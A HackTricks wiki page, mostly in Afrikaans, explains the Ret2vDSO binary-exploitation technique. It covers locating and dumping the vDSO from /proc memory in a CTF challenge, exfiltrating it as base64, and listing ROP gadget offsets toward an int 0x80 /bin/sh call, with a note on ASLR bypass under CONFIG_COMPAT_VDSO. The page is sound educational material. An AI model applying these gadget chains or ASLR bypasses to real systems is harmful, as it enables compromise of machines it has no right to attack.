Ret2vDSO
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die π¬ Discord groep of die telegram groep of volg ons op Twitter π¦ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
Daar kan gadgets in die vDSO region wees, wat βn klein ELF DSO is wat deur die kernel gemap word om vinnige user-space implementasies van sekere kernel helpers te verskaf. In hierdie tipe challenges word gewoonlik βn kernel image voorsien om die vDSO-gebied te dump.
Lokalisering van die vDSO-basis en exports
Die vDSO-basisadres word in die auxiliary vector deurgegee as AT_SYSINFO_EHDR, so as jy /proc/<pid>/auxv kan lees (of getauxval in βn helper-proses kan aanroep), kan jy die basis terugkry sonder om op βn memory leak staat te maak. Sien Auxiliary Vector (auxv) and vDSO vir praktiese maniere om dit te bekom.
Sodra jy die basis het, hanteer die vDSO soos βn normale ELF DSO (linux-vdso.so.1): dump die mapping en gebruik readelf -Ws/objdump -d (of die kernel reference parser tools/testing/selftests/vDSO/parse_vdso.c) om exported symbols op te los en na gadgets te soek. Op x86 32-bit exporteer die vDSO gewoonlik __kernel_vsyscall, __kernel_sigreturn, and __kernel_rt_sigreturn; op x86_64 sluit tipiese exports __vdso_clock_gettime, __vdso_gettimeofday, and __vdso_time in. Omdat die vDSO symbol versioning gebruik, pas die verwagte version aan wanneer jy symbols oplos.
Following the example from https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/ itβs possible to see how it was possible to dump the vdso section and move it to the host with:
# Find addresses
cat /proc/76/maps
08048000-08049000 r--p 00000000 00:02 317 /target
08049000-0804a000 r-xp 00001000 00:02 317 /target
0804a000-0804b000 rw-p 00002000 00:02 317 /target
f7ff8000-f7ffc000 r--p 00000000 00:00 0 [vvar]
f7ffc000-f7ffe000 r-xp 00000000 00:00 0 [vdso]
fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack]
# Dump it
dd if=/proc/76/mem of=vdso bs=1 skip=$((0xf7ffc000)) count=$((0x2000))
8192+0 records in
8192+0 records out
8192 bytes (8.0KB) copied, 0.901154 seconds, 8.9KB/s
# Compress and leak it
gzip vdso
base64 vdso.gz
# Decompress and check of gadgets
echo '<base64-payload>' | base64 -d | gzip -d - > vdso
file vdso
ROPgadget --binary vdso | grep 'int 0x80'
ROP gadgets found:
vdso_addr = 0xf7ffc000
int_0x80_xor_eax_eax_ret_addr = 0x8049010
bin_sh_addr = 0x804a800
# 0x0000057a : pop edx ; pop ecx ; ret
pop_edx_pop_ecx_ret_addr = vdso_addr + 0x57a
# 0x00000cca : mov dword ptr [edx], ecx ; add esp, 0x34 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
mov_dword_ptr_edx_ecx_ret_addr = vdso_addr + 0xcca
# 0x00000ccb : or al, byte ptr [ebx + 0x5e5b34c4] ; pop edi ; pop ebp ; ret
or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
Caution
Let dus op hoe dit moontlik kan wees om ASLR te omseil deur die vdso te misbruik as die kernel saamgekompel is met CONFIG_COMPAT_VDSO aangesien die vdso-adres nie gerandomiseer sal word nie: https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639
ARM64
Na die dump en die nakyk van die vdso-afdeling van βn binary in kali 2023.2 arm64, kon ek daar geen interessante gadget vind nie (geen manier om registers vanaf waardes op die stack te beheer of om x30 vir βn ret te beheer) behalwe βn manier om βn SROP aan te roep. Kyk meer inligting in die voorbeeld op die bladsy:
References
- https://man7.org/linux/man-pages/man7/vdso.7.html
- https://www.kernel.org/doc/Documentation/ABI/stable/vdso
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die π¬ Discord groep of die telegram groep of volg ons op Twitter π¦ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


